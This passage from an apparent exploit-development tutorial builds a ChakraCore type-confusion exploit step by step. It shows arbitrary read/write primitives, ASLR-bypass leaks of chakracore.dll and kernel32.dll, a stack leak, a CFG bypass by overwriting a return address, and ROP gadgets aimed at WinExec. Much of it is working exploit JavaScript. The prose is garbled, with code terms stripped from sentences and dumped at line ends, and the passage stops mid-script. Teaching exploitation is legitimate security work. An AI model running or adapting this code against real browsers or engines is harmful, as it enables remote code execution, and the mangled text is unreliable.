Secondly, we can see our function. This is practically dentical to what we displayed with the arbitrary write primitive. We use to corrupt the of with the address we want to read from. However, instead of using to overwrite our target address, we use the method to retrieve bytes from our target address.read64()
dataview1
buffer
dataview2
dataview2.setUint32()
getUint32()
0x8
Lastly, is identical to what we displayed in the code before the code above, where we walked through the process of performing an arbitrary write. We have simply “templatized” the read/write process to make our exploitation much more efficient.write64()
With a read/write primitive, the next step for us will be bypassing ASLR so we can reliably read/write data in memory.
Bypassing ASLR – Chakra/ChakraCore Edition
When it comes to bypassing ASLR, in “modern” exploitation, this requires an information leak. The 64-bit address space is too dense to “brute force”, so we must find another approach. Thankfully, for us, the way Chakra/ChakraCore lays out JavaScript objects in memory will allow us to use our type confusion vulnerability and read primitive to leak a address quite easily. Let’s recall the layout of a dynamic object in memory.chakracore.dll
As we can see above, and as we can recall, the first hidden property of a dynamic object is the . This will always point somewhere into , and within Edge. Because of this, we can simply use our arbitrary read primitive to set our target address we want to read from to the pointer of the object, for instance, and read what this address contains (which is a pointer in )! This concept is very simple, but we actually can more easily perform it by not using . Here is the corresponding code.vftable
chakracore.dll
chakra.dll
vftable
dataview2
chakracore.dll
read64()
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
var arrayRead = new Uint32Array(0x10);
arrayRead[0] = dataview2.getUint32(0x0, true); // 4-byte arbitrary read
arrayRead[1] = dataview2.getUint32(0x4, true); // 4-byte arbitrary read
// Return the array
return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
dataview2.setUint32(0x0, valLo, true); // 4-byte arbitrary write
dataview2.setUint32(0x4, valHi, true); // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
// main function
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0, true);
vtableHigh = dataview1.getUint32(4, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
}
main();
We know that in we first corrupt with the target address we want to read from by using . This is because is located at an offset of within the a object. However, since already acts on the object, and we know that the takes up bytes through , as it is the first item of a object, we can just simply using our ability to control , via methods, to just go ahead and retrieve whatever is stored at bytes – , which is the ! This is the only time we will perform a read without going through our function (for the time being). This concept is fairly simple, and can be seen by the diagram below.read64()
dataview2->buffer
dataview1.setUint(0x38...)
buffer
0x38
DataView
dataview1
dataview2
vftable
0x0
0x8
DataView
dataview2
dataview1
0x0
0x8
vftable
read64()
However, instead of using methods to overwrite the , we use the method to retrieve the value.setUint32()
vftable
getUint32()
Another thing to notice is we have broken up our read into two parts. This, as we remember, is because we can only read/write 32-bits at a time – so we must do it twice to achieve a 64-bit read/write.
It is important to note that we will not step through the debugger ever and function call. This is because we, in great detail, have already viewed our arbitrary write primitive in action within WinDbg. We already know what it looks like to corrupt using the builtin method , and then using the same method, on behalf of , to actually overwrite the buffer with our own data. Because of this, anything performed here on out in WinDbg will be purely for exploitation reasons. Here is what this looks like when executed in .read64()
write64()
dataview2->buffer
DataView
setUint32()
dataview2
ch.exe
If we inspect this address in the debugger, we can clearly see the is the leaked from !vftable
DataView
From here, we can compute the base address of by determining the offset between the entry leak and the base of .chakracore.dll
vftable
chakracore.dll
The updated code to leak the base address of can be found below:chakracore.dll
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
}
main();
Please note that we will omit all code before from here on out. This is to save space, and because we won’t be changing any code before then. Notice also, again, we have to store the 64-bit address into two separate variables. This is because we can only access data types up to 32-bits in JavaScript (in terms of Chakra/ChakraCore).opt(o, o, obj)
For any kind of code execution, on Windows, we know we will need to resolve needed Windows API function addresses. Our exploit, for this part of the blog series, will invoke to spawn (note that in part three we will be achieving a reverse shell, but since that exploit is much more complex, we first will start by just showing how code execution is possible).WinExec
calc.exe
On Windows, the Import Address Table (IAT) stores these needed pointers in a section of the PE. Remember that isn’t loaded into the process space until has executed our . So, to view the IAT, we need to run our , by way of , in WinDbg. We need to set a breakpoint on our function by way of .chakracore.dll
ch.exe
exploit.js
exploit.js
ch.exe
print()
ch!WScriptJsrt::EchoCallback
From here, we can run to see where the IAT is for , which should contain a table of pointers to Windows API functions leveraged by .!dh chakracore
chakracore
ChakraCore
After locating the IAT, we can simply just dump all the pointers located at .chakracore+0x17c0000
As we can see above, we can see that contains a pointer to (specifically, ). We can use our read primitive on this address, in order to leak an address from , and then compute the base address of by the same method shown with the leak.chakracore_iat+0x40
kernel32.dll
kernel32!RaiseExceptionStub
kernel32.dll
kernel32.dll
vftable
Here is the updated code to get the base address of :kernel32.dll
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}
main();
We can see from here we successfully leak the base address of .kernel32.dll
You may also wonder, our is being treated as an array. This is actually because our function returns an array of two 32-bit values. This is because we are reading 64-bit pointer-sized values, but remember that JavaScript only provides us with means to deal with 32-bit values at a time. Because of this, stores the 64-bit address in two separated 32-bit values, which are managed by an array. We can see this by recalling the function.iatEntry
read64()
read64()
read64()
// Arbitrary read function
function read64(lo, hi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
var arrayRead = new Uint32Array(0x10);
arrayRead[0] = dataview2.getUint32(0x0, true); // 4-byte arbitrary read
arrayRead[1] = dataview2.getUint32(0x4, true); // 4-byte arbitrary read
// Return the array
return arrayRead;
}
We now have pretty much all of the information we need in order to get started with code execution. Let’s see how we can go from ASLR leak to code execution, bearing in mind Control Flow Guard (CFG) and DEP are still items we need to deal with.
Code Execution – CFG Edition
In my previous post on exploiting Internet Explorer, we achieved code execution by faking a and overwriting the function pointer with our ROP chain. This method is not possible in ChakraCore, or Edge, because of CFG.vftable
CFG is an exploit mitigation that validates any indirect function calls. Any function call that performs would be considered an indirect function call, because there is now way for the program to know what RAX is pointing to when the call happens, so if an attacker was able to overwrite the pointer being called, they obviously can redirect execution anywhere in memory they control. This exact scenario is what we accomplished with our Internet Explorer vulnerability, but that is no longer possible.call qword ptr [reg]
With CFG enabled, anytime one of these indirect function calls is executed, we can now actually check to ensure that the function wasn’t overwritten with a nefarious address, controlled by an attacker. I won’t go into more detail, as I have already written about control-flow integrity on Windows before, but CFG basically means that we can’t overwrite a function pointer to gain code execution. So how do we go about this?
CFG is a forward-edge control-flow integrity solution. This means that anytime a happens, CFG has the ability to check the function to ensure it hasn’t been corrupted. However, what about other control-flow transfer instructions, like a instruction?call
return
call
isn’t the only way a program can redirect execution to another part of a PE or loaded image. is also an instruction that redirects execution somewhere else in memory. The way a instruction works, is that the value at RSP (the stack pointer) is loaded into RIP (the instruction pointer) for execution. If we think about a simple stack overflow, this is what we do essentially. We use the primitive to corrupt the stack to locate the address, and we overwrite it with another address in memory. This leads to control-flow hijacking, and the attacker can control the program.ret
ret
ret
Since we know a is capable of transferring control-flow somewhere else in memory, and since CFG doesn’t inspect instructions, we can simply use a primitive like how a traditional stack overflow works! We can locate a address that is on the stack (at the time of execution) in an executing thread, and we can overwrite that return address with data we control (such as a ROP gadget which returns into our ROP chain). We know this address will eventually be executed, because the program will need to use this return address to return execution to where it was before a given function (who’s return address we will corrupt) is overwritten.ret
ret
ret
ret
The issue, however, is we have no idea where the stack is for the current thread, or other threads for that manner. Let’s see how we can leverage Chakra/ChakraCore’s architecture to leak a stack address.
Leaking a Stack Address
In order to find a return address to overwrite on the stack (really any active thread’s stack that is still committed to memory, as we will see in part three), we first need to find out where a stack address is. Ivan Fratric of Google Project Zero posted an issue awhile back about this exact scenario. As Ivan explains, a instance in ChakraCore contains stack pointers, such as . The chain of pointers is as follows: . Notice anything about this? Notice the first pointer in the chain – . As we know, a dynamic object is laid out in memory where is the first hidden property, and is the second! We already know we can leak the of our object (which we used to bypass ASLR). Let’s update our to also leak the of our object, in order to follow this chain of pointers Ivan talks about.ThreadContext
stackLimitForCurrentThread
type->javascriptLibrary->scriptContext->threadContext
type
vftable
type
vftable
dataview2
exploit.js
type
dataview2
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}
main();
We can see our exploit controls by way of and .dataview2->type
typeLo
typeHigh
Let’s now walk these structures in WinDbg to identify a stack address. Load up in WinDbg and set a breakpoint on . When we hit this function, we know we are bound to see a dynamic object () in memory. We can then walk these pointers.exploit.js
chakracore!Js::DataView::EntrySetUint32
DataView
After hitting our breakpoint, let’s scroll down into the disassembly and set a breakpoint on the all-familiar method.SetValue()
After setting the breakpoint, we can hit in the debugger and inspect the RCX register, which should be a object.g
DataView
The pointer is the first item we are looking for, per the Project Zero issue. We can find this pointer at an offset of inside the pointer.javascriptLibrary
0x8
type
From the pointer, we can retrieve the next item we are looking for – a structure. According to the Project Zero issue, this should be at an offset of . However, the Project Zero issue is considering Microsoft Edge, and the Chakra engine. Although we are leveraging CharkraCore, which is identical in most aspects to Chakra, the offsets of the structures are slightly different (when we port our exploit to Edge in part three, we will see we use the exact same offsets as the Project Zero issue). Our pointer is located at .javascriptLibrary
ScriptContext
javascriptLibrary+0x430
ScriptContext
javascriptLibrary+0x450
Perfect! Now that we have the pointer, we can compute the next offset – which should be our structure. This is found at in ChakraCore (the offset is different in Chakra/Edge).ScriptContext
ThreadContext
scriptContext+0x3b8
Perfect! After leaking the pointer, we can go ahead and parse this with the command in WinDbg, since ChakraCore is open-sourced and we have the symbols.ThreadContext
dt
As we can see above, ChakraCore/Chakra stores various stack addresses within this structure! This is fortunate for us, as now we can use our arbitrary read primitive to locate the stack! The only thing to notice is that this stack address is not from the currently executing thread (our exploiting thread). We can view this by using the command in WinDbg to view information about the current thread, and see how the leaked address fairs.!teb
As we can see, we are bytes away from the of the current thread. This is perfectly okay, because this value won’t change in between reboots or ChakraCore being restated. This will be subject to change in our Edge exploit, and we will leak a different stack address within this structure. For now though, let’s use .0xed000
StackLimit
stackLimitForCurrrentThread
Here is our updated code, including the stack leak.
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
// Leak type->javascriptLibrary (lcoated at type+0x8)
javascriptLibrary = read64(typeLo+0x8, typeHigh);
// Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);
// Leak type->javascripLibrary->scriptContext->threadContext
threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
// Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);
// Print update
print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));
// Compute the stack limit for the current thread and store it in an array
var stackLeak = new Uint32Array(0x10);
stackLeak[0] = stackAddress[0] + 0xed000;
stackLeak[1] = stackAddress[1];
// Print update
print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
}
main();
Executing the code shows us that we have successfully leaked the stack for our current thread
Now that we have the stack located, we can scan the stack to locate a return address, which we can corrupt to gain code execution.
Locating a Return Address
Now that we have a read primitive and we know where the stack is located. With this ability, we can now “scan the stack” in search for any return addresses. As we know, when a instruction occurs, the function being called pushes their return address onto the stack. This is so the function knows where to return execution after it is done executing and is ready to perform the . What we will be doing is locating the place on the stack where a function has pushed this return address, and we will corrupt it with some data we control.call
ret
To locate an optimal return address – we can take multiple approaches. The approach we will take will be that of a “brute-force” approach. This means we put a loop in our exploit that scans the entire stack for its contents. Any address of that starts with we can assume was a return address pushed on to the stack (this is actually a slight misnomer, as other data is located on the stack). We can then look at a few addresses in WinDbg to confirm if they are return addresses are not, and overwrite them accordingly. Do not worry if this seems like a daunting process, I will walk you through it.0x7fff
Let’s start by adding a loop in our which scans the stack.exploit.js
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
// Leak type->javascriptLibrary (lcoated at type+0x8)
javascriptLibrary = read64(typeLo+0x8, typeHigh);
// Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);
// Leak type->javascripLibrary->scriptContext->threadContext
threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
// Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);
// Print update
print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));
// Compute the stack limit for the current thread and store it in an array
var stackLeak = new Uint32Array(0x10);
stackLeak[0] = stackAddress[0] + 0xed000;
stackLeak[1] = stackAddress[1];
// Print update
print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
// Scan the stack
// Counter variable
let counter = 0;
// Loop
while (counter < 0x10000)
{
// Store the contents of the stack
tempContents = read64(stackLeak[0]+counter, stackLeak[1]);
// Print update
print("[+] Stack address 0x" + hex(stackLeak[1]) + hex(stackLeak[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));
// Increment the counter
counter += 0x8;
}
}
main();
As we can see above, we are going to scan the stack, up through bytes (which is just a random arbitrary value). It is worth noting that the stack grows “downwards” on x64-based Windows systems. Since we have leaked the stack limit, this is technically the “lowest” address our stack can grow to. The stack base is known as the upper limit, to where the stack can also not grow past. This can be examined more thoroughly by referencing our command output previously seen.0x10000
!teb
For instance, let’s say our stack starts at the address (based on the above image). We can see that this address is within the bounds of the stack base and stack limit. If we were to perform a instruction to place RAX onto the stack, the stack address would then “grow” to . The same concept can be applied to function prologues, which allocate stack space by performing . Since we leaked the “lowest” the stack can be, we will scan “upwards” by adding to our counter after each iteration.0xf7056ff000
push rax
0xf7056feff8
sub rsp, 0xSIZE
0x8
Let’s now run our updated in a session without any debugger attached, and output this to a file.exploit.js
cmd.exe
As we can see, we received an access denied. This actually has nothing to do with our exploit, except that we attempted to read memory that is invalid as a result of our loop. This is because we set an arbitrary value of bytes to read – but all of this memory may not be resident at the time of execution. This is no worry, because if we open up our file, where our output went, we can see we have plenty to work with here.0x10000
results.txt
Scrolling down a bit in our results, we can see we have finally reached the location on the stack with return addresses and other data.
What we do next is a “trial-and-error” approach, where we take one of the addresses, which we know is a standard user-mode address that is from a loaded module backed by disk (e.g. ) and we take it, disassemble it in WinDbg to determine if it is a return address, and attempt to use it.0x7fff
ntdll.dll
I have already gone through this process, but will still show you how I would go about it. For instance, after paring I located the address on the stack. Again, this could be another address with that ends in a .results.txt
0x7fff25c78b0
0x7fff
ret
After seeing this address, we need to find out if this is an actual instruction. To do this, we can execute our exploit within WinDbg and set a break-on-load breakpoint for . This will tell WinDbg to break when is loaded into the process space.ret
chakracore.dll
chakracore.dll
After is loaded, we can disassemble our memory address and as we can see – this is a valid address.chakracore.dll
ret
What this means is at some point during our code execution, the function is called. When this function is called, (the return address) is pushed onto the stack. When is done executing, it will return to this instruction. What we will want to do is first execute a proof-of-concept that will overwrite this return address with . This means when is done executing (which should happen during the lifetime of our exploit running), it will try to load its return address into the instruction pointer – which will have been overwritten with . This will give us control of the RIP register! Once more, to reiterate, the reason why we can overwrite this return address is because at this point in the exploit (when we scan the stack), ’s return address is on the stack. This means between the time our exploit is done executing, as the JavaScript will have been run (our ), will have to return execution to the function which called it (the caller). When this happens, we will have corrupted the return address to hijack control-flow into our eventual ROP chain.chakracore!JsRun
chakracore!JsRun+0x40
chakracore!JsRun
0x4141414141414141
chakracore!JsRun
0x4141414141414141
chakracore!JsRun
exploit.js
chakracore!JsRun
Now we have a target address, which is located bytes away from .0x1768bc0
chakrecore.dll
With this in mind, we can update our to the following, which should give us control of RIP.exploit.js
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
// Leak type->javascriptLibrary (lcoated at type+0x8)
javascriptLibrary = read64(typeLo+0x8, typeHigh);
// Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);
// Leak type->javascripLibrary->scriptContext->threadContext
threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
// Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);
// Print update
print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));
// Compute the stack limit for the current thread and store it in an array
var stackLeak = new Uint32Array(0x10);
stackLeak[0] = stackAddress[0] + 0xed000;
stackLeak[1] = stackAddress[1];
// Print update
print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
// Scan the stack
// Counter variable
let counter = 0;
// Store our target return address
var retAddr = new Uint32Array(0x10);
retAddr[0] = chakraLo + 0x1768bc0;
retAddr[1] = chakraHigh;
// Loop until we find our target address
while (true)
{
// Store the contents of the stack
tempContents = read64(stackLeak[0]+counter, stackLeak[1]);
// Did we find our return address?
if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
{
// print update
print("[+] Found the target return address on the stack!");
// stackLeak+counter will now contain the stack address which contains the target return address
// We want to use our arbitrary write primitive to overwrite this stack address with our own value
print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));
// Break out of the loop
break;
}
// Increment the counter if we didn't find our target return address
counter += 0x8;
}
// When execution reaches here, stackLeak+counter contains the stack address with the return address we want to overwrite
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
}
main();
Let’s run this updated script in the debugger directly, without any breakpoints.
After running our exploit, we can see we encounter an access violation! We can see a instruction is attempting to be executed, which is attempting to return execution to the address we have overwritten! This is likely a result of our function invoking a function or functions which eventually return execution to the address of our function which we overwrote. If we take a look at the stack, we can see the culprit of our access violation – ChakraCore is trying to return into the address – an address which we control! This means we have successfully controlled program execution and RIP!ret
ret
JsRun
ret
JsRun
0x4141414141414141
All there is now to do is write a ROP chain to the stack and overwrite RIP with our first ROP gadget, which will call to spawn WinExec
calc.exe
Code Execution
With complete stack control via our arbitrary write primitive plus stack leak, and with control-flow hijacking available to us via a return address overwrite – we now have the ability to induce a ROP payload. This is, of course, due to the advent of DEP. Since we know where the stack is at, we can use our first ROP gadget in order to overwrite the return address we previously overwrote with . We can use the rp++ utility in order to parse the section of for any useful ROP gadgets. Our goal (for this part of the blog series) will be to invoke . Note that this won’t be possible in Microsoft Edge (which we will exploit in part three) due to the mitigation of no child processes in Edge. We will opt for a Meterpreter payload for our Edge exploit, which comes in the form of a reflective DLL to avoid spawning a new process. However, since CharkaCore doesn’t have these constraints, let’s parse for ROP gadgets and then take a look at the prototype.0x4141414141414141
.text
chakracore.dll
WinExec
chakracore.dll
WinExec
Let’s use the following command: :rp++
rp-win-x64.exe -f C:\PATH\TO\ChakraCore\Build\VcBuild\x64_debug\ChakraCore.dll -r > C:\PATH\WHERE\YOU\WANT\TO\OUTPUT\gadgets.txt
ChakraCore is a very large code base, so will be decently big. This is also why the command takes a while to parse . Taking a look at , we can see our ROP gadgets.gadgets.txt
rp++
chakracore.dll
gadgets.txt
Moving on, let’s take a look at the prototype of .WinExec
As we can see above, takes two parameters. Because of the calling convention, the first parameter needs to be stored in RCX and the second parameter needs to be in RDX.WinExec
__fastcall
Our first parameter, , needs to be a string which contains the contents of . At a deeper level, we need to find a memory address and use an arbitrary write primitive to store the contents there. In other works, needs to be a pointer to the string .lpCmdLine
calc
lpCmdLine
calc
Looking at our file, let’s look for some ROP gadgets to help us achieve this. Within , we find three useful ROP gadgets.gadgets.txt
gadgets.txt
0x18003e876: pop rax ; ret ; \x26\x58\xc3 (1 found)
0x18003e6c6: pop rcx ; ret ; \x26\x59\xc3 (1 found)
0x1800d7ff7: mov qword [rcx], rax ; ret ; \x48\x89\x01\xc3 (1 found)
Here is how this will look in terms of our ROP chain:
pop rax ; ret
<0x636c6163> (calc in hex is placed into RAX)
pop rcx ; ret
<pointer to store calc> (pointer is placed into RCX)
mov qword [rcx], rax ; ret (fill pointer with calc)
Where we have currently overwritten our return address with a value of , we will place our first ROP gadget of there to begin our ROP chain. We will then write the rest of our gadgets down the rest of the stack, where our ROP payload will be executed.0x4141414141414141
pop rax ; ret
Our previous three ROP gagdets will place the string into RAX, the pointer where we want to write this string into RCX, and then a gadget used to actually update the contents of this pointer with the string.calc
Let’s update our script with these ROP gadgets (note that can’t compensate for ASLR, and essentially computes the offset from the base of . For example, the gadget is shown to be at . What this means is that we can actually find this gadget at .)exploit.js
rp++
chakracore.dll
pop rax
0x18003e876
chakracore_base + 0x3e876
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
